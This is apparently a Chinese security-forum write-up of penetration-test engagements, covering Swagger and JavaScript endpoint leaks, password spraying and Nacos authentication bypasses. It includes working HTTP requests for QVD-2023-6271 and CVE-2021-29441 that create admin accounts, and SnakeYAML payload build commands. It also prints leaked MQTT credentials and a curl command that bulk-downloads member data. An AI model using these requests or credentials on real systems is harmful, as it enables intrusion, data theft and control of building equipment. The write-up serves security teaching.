问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
攻防渗透集锦JS泄露突破多个后台
记录近期渗透项目及护网攻防利用JS泄露突破后台案例,Nday扫的没有大佬快,0day没有大佬储备多,何不研究一下前后端分离网站下渗透突破思路呢,文章为笔记复制故无社区水印,欢迎转载 但请标明社区原创地址
### Swagger泄露到网站接管 #### 0x01 信息收集 经典开机登录框通过目录爆破,挖掘到一处`Swagger`文档泄露收获一枚未授权,且文档存在众多接口,此接口重点测试`GET`请求及接口名称为`list`相关,运气好会有信息泄露或者账号密码信息,虽然存在插件但是我还是习惯用`swagger-hack-main`工具提取出接口后,再用`BP`拼接接口访问单独处理,这样`hae`插件可以很快定位是否存在敏感参数  `swagger-hack`可以将文档中的接口提取,但注意提取的位置必须是泄露`.json` 如果是`.html`将无法提取,一般只要出现了首页的`swagger`同样也会指明`json`格式文档的路径,拼接`.json`路径得到新的泄露体   使用工具扫描,生成`swagger.csv`文件 ```php python swagger-hack2.0.py -u http://xxxxxx/swagger/v1/swagger.json ```  单独将里面的接口提出来,抓取一个首页包使用`BP`爆破 ```php /api/driver/msl/module/type /api/driver/msl/module/list /api/driver/msl/channel/list /api/driver/msl/config/list /api/driver/msl/config/read /api/driver/simulation/list /api/driver/simulation/gw/list .......... ```  接口爆破未两种一种`GET`直接拼接再就是`POST`携带空`JSON`,都需要尝试 ```php GET /api/driver/msl/module/type --------------------------------- POST Content-Type: application/json; { } ```  并且`swagger`泄露页面一些接口本来也会带出请求体参数,可以直接在泄露页面发包测试或者是带入数据包测试  #### 0x02 接口敏感信息 经过长达2分半时间的爆破,最终有多个接口出现内部的控制配置信息,以及多个账户密码泄露,   配置信息无法利用,故整理当前泄露的全部账号密码信息,尝试是否可以进入相关后台 ```php "brokerIP":"xx.xxx161.59", "brokerPort":1883, "clientID":"iot-driver-001", "driverName":"MSL", "clientName":"IoT Driver", "userName":"msl_mqtt_user", "password":"3HlcSiVhvalAq9JU", ```  ```php "brokerIP":"xxx.xxxx.32.65", "brokerPort":1883, "clientID":"iot-driver-003", "driverName":"KNXMqtt Driver", "userName":"msl_mqtt_user", "password":"3HlcSiVhvalAq9JU", ```  ```php "clientId":"msl_iot_226CC04AF6026B84", "userName":"iot-driver-user001", "password":"z@.x%h>4*k18", "name":"Client_Test_001", ```  目前得到了两个IP地址已及账号密码,密码应该是那种在第一次注册时浏览器所生成的强密码,但是却保存到了配置文件中,那么依次对`IP`进行查询,看看是否有相关登录口尝试一发入魂!  ```php "brokerIP":"xx.xxx161.59", "brokerIP":"xxx.xxxx.32.65", 全部账号密码整理 "userName":"msl_mqtt_user", "password":"3HlcSiVhvalAq9JU", "userName":"iot-driver-user001", "password":"z@.x%h>4*k18" ``` 首先收集`161.59` 通过观察定位到此`icon`和上方接口泄露出的的`mqtt`服务有些相似,那么就从这里入手 存在两个登录口,  当我用泄露的密码直接登录以为能美美进入时,两个登录口却全部失败,第一个无任意有效反馈直接无法连接服务器另一个则是账号错误   #### 0x03 渗透受挫 我继续尝试把得到的`2`组账号密码来回变换,不同组合方式在两个登录口重新尝试进入,均一无所获,故先放弃转而进攻`32.65`资产,显示多个资产,一一尝试,只有2处是有效的  出现两个有效登录框,相关特征跟上面的第一个一致,再次进行密码碰撞尝试登录,同样一无所获,目前4个网站没有一点反馈,一度怀疑前面的信息中肯定是漏掉了什么,故回去再看`swagger`接口泄露寻找信息,企业都能把密码配置文件放到公网了未删除了,那么安全意识肯定非常薄弱,我坚信这一点才一直会想去尝试   重新整理好接口泄露所有出现`name`相关字段的值,再次尝试对这4个登录框碰撞仍旧无法正确登录后台 ```php "clientName":"IoT Driver", "driverName":"KNXMqtt Driver", "name":"Client_Test_001", ``` 思考一下从企业人员视角出发,大多密码账号会和单位简写有关,企业简称参数正是`MSL` 并且接口泄露出的一个`name`值也出现了`MSL`  重新测试来到登录口,逐一测试,来到第一个登录口无任何响应  来到第二个地方测试,通过两次账号不同所返回的响应,有经验的大佬已经发现了,典型的用户名枚举情况啊,但这里给出我的提示却是证明我的猜想是正确的,`MSL`企业简称正是系统的登录有效用户名   这里我已经非常开心了,已经幻想自己进入后台,但是当我将前面所获得的密码再次进行用户名不变密码改变的情况爆破时,仍然无法进入.....而后继续按照此方式对其他的登录框进行操作,但是其他登录框并无用户枚举情况,但我还是将`MSL` 作为用户名配合上方得到的密码进行爆破, 仍就一无所获,哈基W,....还是办不到吗   #### 0x04 弱口令之神 经历上述操作仍无法出货,真的很想关掉BP直接换站,但测试肯定是需要将所有思路全部穷尽,后开始上字典对第二个登录框爆破,寄希望与管理员未设置强密码,只针对用户名做了企业简写的操作  很难想象,第一个就出了....那我之前的信息收集 多个站来回碰撞算什么.....算我有耐心吗,我好像一拳打在了棉花上,我原以为弱口令真正意义上并不算一个漏洞,现在发现我对这个漏洞一无所知  通过口令进入第二个网站发现是登录口,测试账号并无数据,凭着管理员头脑简单想法 相同账号密码去登录其他资产网站,毫无疑问直接拿下! 控制大楼全部灯光、电梯 等其他硬件设施  控制酒店内所有客房服务,全区域空调开关,并且可调用摄像头监控   ### 登录框接口打入Nacos 站点已修复,无法完整复现,只能从留存的报告成果截图阐述整个流程。开局登录框,。通过域名后跟随`#`符号判断此为`Vue`框架站点,那么着重寻找未授权 信息泄露! ```php https://xxxxxx/#/login ```  首页抓取一个刷新的包,或者是输入账号密码的包 ,看看会加载哪些请求方便构造接口拼接,同时也可以观察是否有前置目录情况,刷新提供请求服务的地址是`/admin/tenant/list` 并且加载了`chunk`异步`JS` 这是现代前端构建工具(如 `Webpack、Vite` 等)的常见产物,将代码拆分为多个 `chunk`(代码块),主程序加载时先加载核心代码,其他非必要代码(如路由组件、第三方库)会被分割成独立的 `chunk` 文件,按需异步加载  ```php /admin/tenant/list ```  #### 0X01 接口获取 这类前端打包`JS`或许熊猫头无法完整的提取到全部接口,推荐利用`Packer-Fuzz` 提取到全部的异步`JS`  而后再用自写的正则脚本去匹配下载到本地的异步`JS` 中的接口再保存本地的文件中  后续就是根据第一步抓取到了请求,携带拼接即可,可以完整的将全部的异步`JS` 获取到,再利用正则匹配好接口发包测试,如果想更为细致的那么还是需要人工去全局搜索`chunk`  如果想更为细致的那么还是需要人工去全局搜索`chunk`而后拼接  #### 0X02 多枚信息泄露 当做完前面的操作后静待爆破结束就可美美收网,一般是观察字节大小配合`HAE`,在测网站收获如下漏洞,公司旗下所有分店员工二要素信息 ```php https://xxxxxx/store/depot/selectStoreList ```  公司内部会员百万二要素信息泄露,该接口一度让我的`BP`卡死,甚至放到浏览器也无法加载出此接口,只能使用`curl`访问,通过`userid`为递归的用户编号推断数据量区间也是在百万左右,可惜并无三要素,不过也够用 ```php curl "https://xxxxxx/admin/user-distributor/user/list" > xxx.txt https://xxxxxx/admin/user-distributor/user/list ```   `order`参数一般在电商类网站都会与用户订单有关,此次渗透也不意外,未授权访问接口下载当日平台物流订单信息,并且此日期每日刷新,意味着每天都能看到当日的客户下单物流情况 ```php https://xxxxxx/order/shipments/shipmentOrder/export ```   通过泄露的物流单号可以精确查询到物流信息   #### 0X03 被动扫描Nacos 无论企业`SRC`还是日常工作项目中还是强烈建议师傅们适当补充自身武器库,让插件为漏洞挖掘赋能,当时`TsojanScan`漏扫插件就被动扫描出了3个有价值的东西 ```php https://xxxxxx/v2/api-docs https://xxxxxx/nacos/actuator/ https://xxxxxx/nacos/#/login ```   `swagger`文档泄露通过第一个案例思路又可以测试很多东西,信息泄露未授权等  `actuator`端点泄露也是属于渗透的老演员了,里面众多接口信息都可以为渗透提供有力的帮助,转储文件下载有很多概率泄露数据库连接密码、`AKSK`等信息   当然重头戏还是`Nacos` 如此纯粹的开放在公网,如果不是被动扫描正常测试不去爆破目录的话很难发现  #### 0X04 CVE 纯粹拿下 [实战攻防之Nacos漏洞-腾讯云开发者社区-腾讯云](https://cloud.tencent.com/developer/article/2517004) 扫描器扫描出符合版本的`CVE` 而后手工`POC`验证即可,历史漏洞没什么特别地方,主要看怎快人一步发现,成功打出两个漏洞方式,均可以权限绕过登录后台,想尝试`Client Yaml` 反序列化进入内网,但环境不符合无奈撤退 **QVD-2023-6271** Nacos权限绕过漏洞,默认密钥,生成`token`利用此`POC`添加账户,替换`host` ```php POST /nacos/v1/auth/users HTTP/1.1 Host: xxxxx User-Agent: Mozilla/5.0 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 39 username=hellonacos&password=hellonacos ```  利用添加成功账号进入后台  **CVE-2021-29441** `NacosUA`头权限绕过漏洞 `BP`抓包替换请求为下列`poc`,既可绕过添加用户进后台,关键点是`User-Agent: Nacos-Server` 替换 ```php POST /nacos/v1/auth/users?username=hell&password=hell HTTP/1.1 Host: xxxxx Sec-Ch-Ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Nacos-Server // 替换ua头 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 X-Forwarded-For: 127.0.0.1 Priority: u=0, i Connection: close ```  利用添加账号再次进入后台  **Nacos-Client Yaml 反序列化** 按操作尝试进行反序列化,但环境不支持导致失败,虽然没有拿下权限但也实战了`Nacos`进行深层次的利用方式,下次遇到就会打了 [实战攻防之Nacos漏洞-腾讯云开发者社区](https://cloud.tencent.com/developer/article/2517004) [artsploit/yaml-payload:用于生成 SnakeYAML 反序列化有效负载的小项目](https://github.com/artsploit/yaml-payload/) `Github`下载好利用的`java`文件 第一步先用`javac`编译 `Java` 源代码(`.java`文件)转换为 `Java` 字节码(`.class`文件)然后再打包为`jar`包放在服务上  ```php javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ . ``` 而后开服务监听,执行有回显就是反序列化, 没货就直接下播了。  ### 前后端未授权接口渗透后台 #### 0X01 业务分析 经典前后端分离 前台为`Vue` 但是并无打包情况,`JS`应该是全裸露在前端,不然插件也不会出现这么多接口,所以此情况先把插件提到的接口跑遍,如无有效反馈,则再深度提取`JS`,按照案例二方式正则提取更多接口  首页抓取一个刷新的包,或者是输入账号密码的包 ,看看会加载哪些请求方便构造接口拼接,同时也可以观察是否有前置目录情况,正常刷新并未发现携带了请求  但是当我试图登录后所获得的包确实不同的,细心的师傅可能发现了,是个IP地址处理的登录请求,这里本质是 \*\* 前后端分离架构下 “前端资源部署与后端接口调用分离”\*\* 导致 ```php 前端资源:(登录框页面、按钮、样式等)可能部署在子域名(比如 login.xxx.com), #号后出现的新页面也是这种,使用的时候调用了后端接口 后端资源: 后端接口(处理登录请求、刷新时获取数据的接口)可能部署在服务器 IP(比如 1.2.3.4 服务器可能只用于提供 API,未单独绑定子域名,所以前端只能通过 IP 调用接口 ```  此情况下的前端域名只提供了展示并无服务,接口拼接大概率是无效的,我通过刷新页面后`BP`测试接口,没有任何有效反馈,长度一致回到首页,   这种情况我猜测第一种就是提取到的接口只能去给到提供服务的后端`IP`地址拼接,第二种接口只能是尝试拼接到前端`#`后尝试触发新的未授权页面从而测试接口。所以正由于我上个案例所说,遇到登录框刷新一下,操作一下,观察接口。哪怕这个网站前端域名和`IP`都不是一致的,也需要把接口分别测试一下,`#`寻找未授权页面工具推荐`Vue_scan` 这里不做演示,因为目前已经有了足够多的接口,按照个人习惯来说优先测试,当接口无效再考试寻找新的未授权页面触发新的业务接口。  #### 0X02 未授权信息二次挖掘 很简单的方式,无任何前置目录情况,通过触发登录包,前端向后端发送请求,,定位后端提供服务的地址拼接接口,出现大量的信息,通过`JS`入侵后台最高效的方式是定位是否泄露人员信息,从而得到类似账号.工号,用户`dump` 下大量此字段并且观察规律制作工号本从而进行密码喷洒进入后台 ```php JS---信息泄露账号工号等------找出账号排序规则----固定密码1-6(依情况),工号作为字典-----爆破突破 ```   分析接口信息,`Hae`发力,得到许多员工账号,测为突破的契机   接口泄露一部分后端地址接口忘记截图展示思路成果,地址进行`FUZZ`依旧纯粹的攻防三件套,这仨东西不是冤家不聚头,整整齐齐,遇到泄露地址情况对目录进行爆破,如果是公网地址务必可以扫描全端口,泄露地址的高端口大概率部署其他`web`服务,依次按照此手法捡分     接口地址泄露2个云存储路径,并且配置不当逐层删除测试可列桶拼接`key`可下载桶中文件均为公司商业合同伙伴及商务实验信息没吃到信息泄露分,为何三要素总是与我无缘,验证完后均已删除文件保证企业信息安全  ```php http:/xxxxxx:9000/file/ ```   ```php http://xxxxx:9000/xinyihua/ ```   #### 0X03 喷洒突破 抓起登录包,固定密码根据泄露用户账号递归规律`BP`直接按数值递增即可,企业弱口令还是非常好找的只要寻找到了账号规律,常规的`amdin admin`突破已经很少了。   几百个员工里出现几十个可登录的员工账户号已经非常可观了,如果使用撞击爆破多个弱密码字典,我相信可以拿下更多  回到页面手动对员工账号进行登录,大部分都是调试数据及商品合作信息,操作点只限于增删改查没有上传点突破进入内网,不过已经竭尽所能帮团队贡献分数对于第一次接触攻防的我来说已经满意了,下次一定能做的更好    ### 结语 依旧没有华而不实的屠龙术,只有简单的技巧加入一点细心一点耐心,如文章让师傅们看的开心并得到了收获希望可以点点推荐,后续会有其他关于渗透中的插件技巧,,我们总是习惯`BP`插件拉满可那么真的用的上吗,真的会使用嘛,面对繁多的插件如何在不同的渗透场景下选择性的开启呢,以及会有关于状态码的小技巧, 一个不经意的响应使得漏洞组合拳接管用户,状态码0元购等等其他攻击面!推荐达到20 我将提上写作日程。
发表于 2025-09-10 09:00:00
阅读 ( 1233 )
分类:
渗透测试
17 推荐
收藏
4 条评论
c铃儿响叮当
5天前
好,很有精神!
请先
登录
后评论
fufufu
5天前
爱了😍😍😍
请先
登录
后评论
EndlesS@_
4天前
佬,想要JS接口扫描工具
请先
登录
后评论
0u0zzz
3天前
师傅方便分享一下提取接口的脚本么,感谢
请先
登录
后评论
请先
登录
后评论
一天要喝八杯水
大厂螺丝工
6 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!